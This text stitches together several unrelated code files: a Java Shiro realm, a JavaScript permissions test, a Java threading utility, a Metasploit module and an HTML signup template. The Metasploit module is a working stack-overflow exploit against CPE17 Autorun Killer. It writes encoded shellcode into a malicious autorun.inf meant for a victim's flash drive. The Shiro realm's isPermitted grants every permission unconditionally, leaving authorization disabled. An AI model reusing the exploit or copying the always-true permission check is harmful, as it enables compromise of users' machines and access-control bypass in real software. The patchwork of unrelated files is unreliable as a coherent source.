	 * @see
	 * org.apache.shiro.realm.AuthenticatingRealm#doGetAuthenticationInfo(org
	 * .apache.shiro.authc.AuthenticationToken) 认证
	 */
	@Override
	protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {

		String username = (String) token.getPrincipal(); // user account
		String password = new String((char[]) token.getCredentials()); // password

		// 已经在login_login验证过用户名和密码
		if (null != username && null != password) {
			Subject subject = SecurityUtils.getSubject();
			User user = (User) subject.getSession().getAttribute(Const.SESSION_USER);
			return new SimpleAuthenticationInfo(user, password, getName());// TODO:
																			// 要用login_name
																			// ,
																			// 待验证。

		} else {
			return null;
		}

	}

	@Override
    public boolean isPermitted(PrincipalCollection principals, String permission) {
        Permission p = getPermissionResolver().resolvePermission(permission);
        Subject subject = SecurityUtils.getSubject();
        boolean isAdmin= subject.hasRole(Const.ADMIN_ROLE);
        if(isAdmin) return true;
        return true;
        //return isPermitted(principals, p);
    }

	/*
	 * 授权查询回调函数, 进行鉴权但缓存中无用户的授权信息时调用,负责在应用程序中决定用户的访问控制的方法(non-Javadoc)
	 *
	 * @see
	 * org.apache.shiro.realm.AuthorizingRealm#doGetAuthorizationInfo(org.apache
	 * .shiro.subject.PrincipalCollection) 鉴权
	 */
	@SuppressWarnings("unchecked")
	@Override
	protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {

		User sysUser = (User) principals.fromRealm(getName()).iterator().next();
		if (null != sysUser) {
			SimpleAuthorizationInfo info = new SimpleAuthorizationInfo();

			Subject subject = SecurityUtils.getSubject();
			Session session = subject.getSession();
			if (session.getAttribute(Const.SESSION_ROLES_NAME) != null)
				info.addRoles((List<String>) session.getAttribute(Const.SESSION_ROLES_NAME));
			if (session.getAttribute(Const.SESSION_ALL_RIGHTS_URL) != null)
				info.addStringPermissions((List<String>) session.getAttribute(Const.SESSION_ALL_RIGHTS_URL));

			// 添加角色信息

			// TODO:貌似每次鉴权都会操作一次数据库,待验证

			// try {
			//
			// //当前用户下的所有menu
			// List<Menu> menuList=new ArrayList<>();
			// //当前用户下的所有button
			// List<Button> buttonList=new ArrayList<>();
			//
			// List<String> roles = (List<String>)
			// dao.findForList("RoleMapper.findRolesNameByUserId",
			// sysUser.getUserId());
			//
			// info.addRoles(roles);// TODO change to roleCode
			//
			// // 添加菜单权限信息(含分类菜单)
			// List<Menu> menus = (List<Menu>)
			// dao.findForList("MenuMapper.findParentMenusByUserId",
			// sysUser.getUserId());
			// menuList.addAll(menus);
			// for (Menu menu : menus) {
			// info.addStringPermission(menu.getMenuUrl());
			//
			// Map<String, Integer> params=new HashMap<>();
			// params.put("userId", sysUser.getUserId());
			// params.put("menuId", menu.getMenuId());
			// List<Menu> subMenus = (List<Menu>)
			// dao.findForList("MenuMapper.findMenusByUserIdAndParent", params);
			// menu.setSubMenu(subMenus);
			//
			// for (Menu subMenu : subMenus) {
			// info.addStringPermission(subMenu.getMenuUrl());
			// }
			//
			// }
			//
			// // 添加按钮权限信息
			// List<Button> buttons = (List<Button>)
			// dao.findForList("ButtonMapper.findMenusByUserId",
			// sysUser.getUserId());
			// buttonList.addAll(buttons);
			// for (Button button : buttons) {
			// info.addStringPermission(button.getButtonUrl());
			// }
			//
			//
			// Subject subject = SecurityUtils.getSubject();
			// //菜单和按钮数据,用于登陆成功后生成菜单树
			// subject.getSession().setAttribute(Const.SESSION_ALLMENULIST,
			// menus);
			// subject.getSession().setAttribute(Const.SESSION_ALLBUTTONLIST,
			// buttonList);
			//
			// } catch (Exception e) {
			// e.printStackTrace();
			// return null;
			// }

			return info;
		}
		return null;
	}

}


text:
import formatSettingsPermissionsToAPI, {
  createConditionsArray,
  createPermission,
  createPermissionsArrayFromCategory,
} from '../formatSettingsPermissionsToAPI';

describe('ADMIN | COMPONENTS | Roles | Permissions | utils', () => {
  describe('createConditionsArray', () => {
    it('should return an empty array when all conditions are falsy', () => {
      const conditions = {
        test: false,
        ok: false,
      };

      expect(createConditionsArray(conditions)).toEqual([]);
    });

    it('should return an array of condition names when the conditions are truthy', () => {
      const conditions = {
        foo: true,
        bar: false,
        batz: true,
      };
      const expected = ['foo', 'batz'];

      expect(createConditionsArray(conditions)).toEqual(expected);
    });
  });

  describe('createPermission', () => {
    it('should return a permission object', () => {
      const permission = [
        'read',
        { properties: { enabled: true }, conditions: { foo: false, bar: true } },
      ];
      const expected = { action: 'read', subject: null, conditions: ['bar'], properties: {} };

      expect(createPermission(permission)).toEqual(expected);
    });
  });

  describe('createPermissionsArrayFromCategory', () => {
    it('should return an array of permissions containing only the enabled permissions', () => {
      const permissions = {
        settings: {
          'plugin::documentation.settings.update': {
            properties: {
              enabled: false,
            },
            conditions: {
              'admin::is-creator': false,
              'admin::has-same-role-as-creator': false,
            },
          },
          'plugin::documentation.settings.regenerate': {
            properties: {
              enabled: true,
            },
            conditions: {
              'admin::is-creator': false,
              'admin::has-same-role-as-creator': false,
            },
          },
        },
      };

      const expected = [
        {
          action: 'plugin::documentation.settings.regenerate',
          subject: null,
          conditions: [],
          properties: {},
        },
      ];

      expect(createPermissionsArrayFromCategory(permissions)).toEqual(expected);
    });
  });

  describe('formatSettingsPermissionsToAPI', () => {
    it('should return an array', () => {
      expect(formatSettingsPermissionsToAPI({})).toEqual([]);
    });

    it('should return an array empty array when no permissions is enabled', () => {
      const settingsPermissions = {
        'plugin::content-type-builder': {
          general: {
            'plugin::content-type-builder.read': {
              properties: {
                enabled: false,
              },
              conditions: {
                'admin::is-creator': false,
                'admin::has-same-role-as-creator': false,
              },
            },
          },
        },
        'plugin::documentation': {
          general: {
            'plugin::documentation.read': {
              properties: {
                enabled: false,
              },
              conditions: {
                'admin::is-creator': false,
                'admin::has-same-role-as-creator': false,
              },
            },
          },
          settings: {
            'plugin::documentation.settings.update': {
              properties: {
                enabled: false,
              },
              conditions: {
                'admin::is-creator': false,
                'admin::has-same-role-as-creator': false,
              },
            },
            'plugin::documentation.settings.regenerate': {
              properties: {
                enabled: false,
              },
              conditions: {
                'admin::is-creator': false,
                'admin::has-same-role-as-creator': false,
              },
            },
          },
        },
      };

      expect(formatSettingsPermissionsToAPI(settingsPermissions)).toEqual([]);
    });

    it('should return an array empty array of permissions when the permissions are enabled', () => {
      const settingsPermissions = {
        'plugin::content-type-builder': {
          general: {
            'plugin::content-type-builder.read': {
              properties: {
                enabled: false,
              },
              conditions: {
                'admin::is-creator': false,
                'admin::has-same-role-as-creator': false,
              },
            },
          },
        },
        'plugin::documentation': {
          general: {
            'plugin::documentation.read': {
              properties: {
                enabled: true,
              },
              conditions: {
                'admin::is-creator': true,
                'admin::has-same-role-as-creator': false,
              },
            },
          },
          settings: {
            'plugin::documentation.settings.update': {
              properties: {
                enabled: true,
              },
              conditions: {
                'admin::is-creator': true,
                'admin::has-same-role-as-creator': true,
              },
            },
            'plugin::documentation.settings.regenerate': {
              properties: {
                enabled: true,
              },
              conditions: {
                'admin::is-creator': false,
                'admin::has-same-role-as-creator': false,
              },
            },
          },
        },
      };

      const expected = [
        {
          action: 'plugin::documentation.read',
          conditions: ['admin::is-creator'],
          subject: null,
          properties: {},
        },
        {
          action: 'plugin::documentation.settings.update',
          conditions: ['admin::is-creator', 'admin::has-same-role-as-creator'],
          subject: null,
          properties: {},
        },
        {
          action: 'plugin::documentation.settings.regenerate',
          conditions: [],
          subject: null,
          properties: {},
        },
      ];

      expect(formatSettingsPermissionsToAPI(settingsPermissions)).toEqual(expected);
    });
  });
});


text:
package com.eduworks.lang.threading;

import java.io.IOException;
import java.util.Collections;
import java.util.ConcurrentModificationException;
import java.util.Date;
import java.util.Iterator;
import java.util.List;
import java.util.concurrent.ConcurrentLinkedQueue;
import java.util.concurrent.ConcurrentSkipListSet;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.Future;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.RejectedExecutionException;
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.locks.LockSupport;

import org.apache.log4j.Logger;

import com.eduworks.lang.EwList;

public class EwThreading
{
	static List<ThreadPoolExecutor> tpses = Collections.synchronizedList(new EwList<ThreadPoolExecutor>());
	static Thread watcher = null;
	static Logger log = Logger.getLogger(EwThreading.class);
	public static int threads = Math.min(50, Math.max(5, Runtime.getRuntime().availableProcessors() * 5));

	{
		startThreadPool();
	}

	public static void setThreadCount(int threadBoost)
	{
		synchronized(tpses)
		{
		for (ThreadPoolExecutor tps : tpses)
		{
			tps.setCorePoolSize(threadBoost);
			tps.setMaximumPoolSize(threadBoost);
		}
		}
	}

	public static long getTaskCount()
	{
		int taskCount = 0;
		try
		{
			for (ThreadPoolExecutor tps : tpses)
				taskCount += tps.getTaskCount() - tps.getCompletedTaskCount();
		}
		catch (ConcurrentModificationException ex)
		{

		}
		return taskCount;
	}

	public static long getTaskCount(int level)
	{
		return tpses.get(level).getTaskCount() - tpses.get(level).getCompletedTaskCount();
	}

	private static ThreadPoolExecutor getTps()
	{
		int level = getThreadLevel();
		if (tpses.size() <= level)
			return null;
		return tpses.get(level);
	}

	public static int getThreadLevel()
	{
		int level = 0;
		if (Thread.currentThread().getName().length() > 5)
			return level;
		try
		{
			level = Integer.parseInt(Thread.currentThread().getName());
		}
		catch (NumberFormatException ex)
		{
		}
		return level;
	}

	public static void sleep(long ms)
	{
		try
		{
			Thread.sleep(ms);
		}
		catch (InterruptedException e)
		{
		}
	}

	public static ThreadPoolExecutor getExecutorPool()
	{
		ThreadPoolExecutor tps = getTps();
		if (tps == null)
			tps = startThreadPool();
		return tps;
	}

	static synchronized ThreadPoolExecutor startThreadPool()
	{
		if (getTps() != null)
			return getTps();
		log.info("Using " + threads + " number of threads.");
		while (tpses.size() - 1 < getThreadLevel())
			tpses.add(new ThreadPoolExecutor(threads, threads, 60L, TimeUnit.SECONDS, new ConcurrentBlockingQueue<Runnable>()));
		int level = tpses.size() - 1;
		try
		{
			tpses.get(level).allowCoreThreadTimeOut(true);
			tpses.get(level).setThreadFactory(new ThreadFactory()
			{
				@Override
				public Thread newThread(Runnable arg0)
				{
					Thread thread = new Thread(arg0);
					thread.setPriority(Thread.MIN_PRIORITY);
					return thread;
				}
			});
		}
		catch (Exception e)
		{

		}
		final Thread thisThread = Thread.currentThread();
		// if (watcher == null)
		// {
		// watcher = new Thread(new Runnable()
		// {
		//
		// @Override
		// public void run()
		// {
		// for (int level = 0; level < tpses.size(); level++)
		// {
		// int currentThreads = threads;
		// long completedTaskCount = tpses.get(level).getCompletedTaskCount();
		// int secondsStuck = 0;
		// while (thisThread.isAlive())
		// {
		// try
		// {
		// Thread.sleep(1000);
		// if (tpses.get(level).getActiveCount() > 0 && getTaskCount() > 0)
		// if (tpses.get(level).getCompletedTaskCount() == completedTaskCount)
		// {
		// if (secondsStuck <= 10)
		// secondsStuck++;
		// }
		// else if (secondsStuck > 0)
		// secondsStuck--;
		// else if (secondsStuck > 0)
		// secondsStuck--;
		// if (secondsStuck > 10)
		// {
		// if (getTaskCount(level) > threads && threads < 100)
		// {
		// threads++;
		// tpses.get(level).setCorePoolSize(threads);
		// tpses.get(level).setMaximumPoolSize(threads);
		// log.info("Detect stuck. Scaling thread count. " + getTaskCount(level)
		// + " tasks, " + tpses.get(level).getActiveCount()
		// + " threads, Now at " + threads);
		// }
		// }
		// else if (currentThreads != threads)
		// {
		// threads--;
		// tpses.get(level).setCorePoolSize(threads);
		// tpses.get(level).setMaximumPoolSize(threads);
		// log.info("Stick unstuck, scaling back. " + getTaskCount(level) +
		// " tasks, " + tpses.get(level).getActiveCount()
		// + " threads, Now at " + threads);
		// }
		// completedTaskCount = tpses.get(level).getCompletedTaskCount();
		// }
		// catch (InterruptedException e)
		// {
		// e.printStackTrace();
		// }
		// }
		//
		// if (tpses.get(level) != null)
		// tpses.get(level).shutdown();
		// tpses.remove(0);
		// }
		// }
		// });
		// watcher.setName("Watcher thread.");
		// watcher.start();
		// }
		return tpses.get(level);
	}

	public static void forkAccm(MyFutureList placeToAdd, MyRunnable r)
	{
		placeToAdd.add(fork(r));
	}

	public static void parallel(boolean forkSlowly, MyRunnable... rs)
	{
		MyFutureList list = new MyFutureList();
		for (MyRunnable r : rs)
			forkAccm(list, forkSlowly, r);
		list.nowPause();
	}

	public static void forkAccm(MyFutureList placeToAdd, boolean forkSlowly, MyRunnable r)
	{
		placeToAdd.add(fork(forkSlowly, r, Integer.MAX_VALUE));
	}

	public static void forkAccm(MyFutureList placeToAdd, boolean forkSlowly, MyRunnable r, int forkLimit)
	{
		placeToAdd.add(fork(forkSlowly, r, forkLimit));
		if (forkSlowly && placeToAdd.size() % 10000 == 0)
			log.info("So far " + placeToAdd.size());
	}

	public static void fork(int min, int lessthan, MyRunnable r)
	{
		fork(min, lessthan, false, r);
	}

	public static Future<?> fork(final MyRunnable r)
	{
		return fork(false, r, Integer.MAX_VALUE);
	}

	public static Future<?> fork(boolean forkSlowly, final MyRunnable r)
	{
		return fork(false, r, Integer.MAX_VALUE);
	}

	public static Future<?> fork(boolean forkSlowly, final MyRunnable r, int forkLimit)
	{
		ThreadPoolExecutor tps = getTps();
		if (tps == null)
			tps = startThreadPool();
		try
		{
			if (forkSlowly || forkLimit != Integer.MAX_VALUE)
				while (getTaskCount(getThreadLevel()) > threads || getTaskCount(getThreadLevel()) > forkLimit)
					EwThreading.sleep(1);
			final int nextLevel = getThreadLevel() + 1;
			MyRunnable run = new MyRunnable()
			{
				int level = nextLevel;

				@Override
				public void run()
				{
					try
					{
						Thread.currentThread().setName(Integer.toString(level));
						r.run();
					}
					catch (RuntimeException e)
					{
						ex = e;
					}
					catch (Exception e)
					{
						e.printStackTrace();
					}
				}
			};
			Future<?> submit = tps.submit(run,run);
			run.f = submit;
			r.f = submit;
			return submit;
		}
		catch (RejectedExecutionException e)
		{
			tpses.remove(getThreadLevel());
			return fork(r);
			// throw new RuntimeException(e);
		}
	}

	public static class MyFutureList extends ConcurrentLinkedQueue<Future<?>>
	{
		private static final long serialVersionUID = -8460295382838816873L;
		long ms = System.currentTimeMillis();
		long zero = System.currentTimeMillis();
		long count = 0;

		public void nowPause()
		{
			nowPause(false);
		}

		public boolean add(Future<?> fork)
		{
			count++;
			return super.add(fork);
		}

		public void nowPause(boolean report)
		{
			int pause = 1;
			Date reportNext = new Date();
			while (true)
			{
				if (count == 0)
					return;
				try
				{
					if (System.in.available() >= 1 && System.in.read() == '`')
					{
						log.debug("Aborted.");
						return;
					}
				}
				catch (IOException e1)
				{
					e1.printStackTrace();
				}
				boolean go_on = true;
				int i = 0;
				Iterator<Future<?>> it = iterator();
				while (it.hasNext())
				{
					Future f = it.next();
					if (f.isDone() == false)
					{
						go_on = false;
						i++;
					}
					else
					{
						MyRunnable ex;
						try
						{
							ex = ((MyRunnable)f.get());
							if (ex != null)
								if (ex.ex != null)
									if (ex.ex instanceof RuntimeException)
									{
										ex.ex.printStackTrace();
										throw ((RuntimeException)ex.ex);
									}
						}
						catch (InterruptedException e)
						{
							e.printStackTrace();
						}
						catch (ExecutionException e)
						{
							e.printStackTrace();
						}
						it.remove();
					}
				}
				if (go_on)
					break;
				Date d = new Date();
				d.setTime(d.getTime() - 10000);
				if (report && reportNext.before(d))
				{
					long current = System.currentTimeMillis();
					long future = (long) ((((((double) count) / ((double) (count - i))) - 1.0) * (current - zero)) + current);
					String stuff = "Started: " + new Date(zero).toString() + " Estd Done: " + new Date(future).toString();
					if ((count - i) != 0)
						log.info("So far " + (count - i) + "/" + count + "(" + ((double) (count - i)) / ((double) count) + ") " + stuff);
					reportNext = new Date();
				}
				try
				{
					Thread.sleep(pause = Math.min(pause *= 2, 100));
				}
				catch (InterruptedException e)
				{
					e.printStackTrace();
				}
			}
		}

		public void nowKill()
		{
			for (Future<?> f : this)
			{
				f.cancel(true);
			}
		}
	}

	public static abstract class MyRunnable implements Runnable, Cloneable
	{
		protected int i;
		public Object o;
		public Future f;
		public Throwable ex;
		public boolean cancel = false;

		public Object clone() throws CloneNotSupportedException
		{
			Object o2 = super.clone();
			return o2;
		}
	}

	public static void foreach(List<?> list, MyRunnable r)
	{
		for (Object o : list)
		{
			MyRunnable clone;
			try
			{
				clone = (MyRunnable) r.clone();
				clone.o = o;
				clone.run();
			}
			catch (CloneNotSupportedException e)
			{
				e.printStackTrace();
			}
		}
	}

	public static void fork(List<?> list, MyRunnable r)
	{
		fork(list, false, false, r);
	}

	public static void fork(List<?> list, boolean report, MyRunnable r)
	{
		fork(list, report, false, r);
	}

	public static void fork(List<?> list, boolean report, boolean forkSlowly, MyRunnable r)
	{
		MyFutureList futures = new MyFutureList();
		if (list.size() == 0)
			return;
		if (list.size() == 1)
		{
			MyRunnable clone;
			try
			{
				clone = (MyRunnable) r.clone();
				clone.o = list.get(0);
				clone.run();
			}
			catch (CloneNotSupportedException e)
			{
				e.printStackTrace();
			}
			return;
		}
		for (int i = 0; i < list.size(); i++)
		{
			if (forkSlowly)
				while (getTaskCount() > threads / 2)
					EwThreading.sleep(10);
			MyRunnable clone;
			try
			{
				clone = (MyRunnable) r.clone();
				clone.o = list.get(i);
				clone.i = i;
				futures.add(fork(clone));
			}
			catch (CloneNotSupportedException e)
			{
				e.printStackTrace();
			}
		}
		futures.nowPause(report);
	}

	public static void fork(int min, int lessthan, boolean report, MyRunnable r)
	{
		MyFutureList futures = new MyFutureList();
		for (int i = min; i < lessthan; i++)
		{
			MyRunnable clone;
			try
			{
				clone = (MyRunnable) r.clone();
				clone.i = i;
				futures.add(fork(clone));
			}
			catch (CloneNotSupportedException e)
			{
				e.printStackTrace();
			}
		}
		futures.nowPause(report);
	}

	public static void invokeLater(Runnable runnable)
	{
		ThreadPoolExecutor tps = getTps();
		if (tps == null)
			tps = startThreadPool();
		try
		{
			tps.submit(runnable);
		}
		catch (RejectedExecutionException e)
		{
			invokeLater(runnable);
		}
	}

	public static void execSynchronous(MyFutureList placeToAdd, MyRunnable myRunnable)
	{
		myRunnable.run();
	}

}


text:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

      include Msf::Exploit::FILEFORMAT

      def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow exploit',
                        'Description'    => %q{
                                        readfile function is vulnerable it can be overflow
                                             },
                        'Author'         => [ 'Xelenonz' ],
                        'Version'        => '0.1',

                        'Payload'        =>
                                {
                                        'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
										'EncoderOptions' => {'BufferRegister'=>'ECX'},
                                },
			'DefaultOptions' =>
                				{
                    			'DisablePayloadHandler' => 'true',
                				},
                        'Platform'       => 'windows',

                        'Targets'        =>
                                [
                                        [
                                        	'Windows XP SP3',
                                          		{ 	'Ret' => 0x775a676f,
                                          			'Offset' => 500
                                          		}
                                       ],

                                ],
                        'DefaultTarget' => 0,

                        'Privileged'     => false
                        ))

                        register_options(
                        [
                        	OptString.new('FILENAME',   [ true, 'The file name.',  'autorun.inf']),
                        ], self.class)
       end

       def exploit
       	  print_status("Encoding Payload ...")
          enc = framework.encoders.create("x86/alpha_mixed")
		  enc.datastore.import_options_from_hash( {'BufferRegister'=>'ESP'} )
		  hunter = enc.encode(payload.encoded, nil, nil, platform)
		  buffer = ""
          buffer << "A"*target['Offset'] # padding offset
          buffer << [target.ret].pack('V') # jmp esp
          buffer << hunter # shellcode
          print_status("Creating '#{datastore['FILENAME']}' file ...")
          file_create(buffer)
          print_status("Plug flashdrive to victim's computer")
          handler

       end
end


text:
{% extends 'panel.html' %}

{% block head_title %}Create an Open Humans account{% endblock %}

{% block panel_content %}

    {% include 'account/signup-form.html' %}

    <input type="submit" id="create-account" form="signup-form"
      class="btn btn-primary" value="Create my account">

      Already have an account?

      Log in

{% endblock %}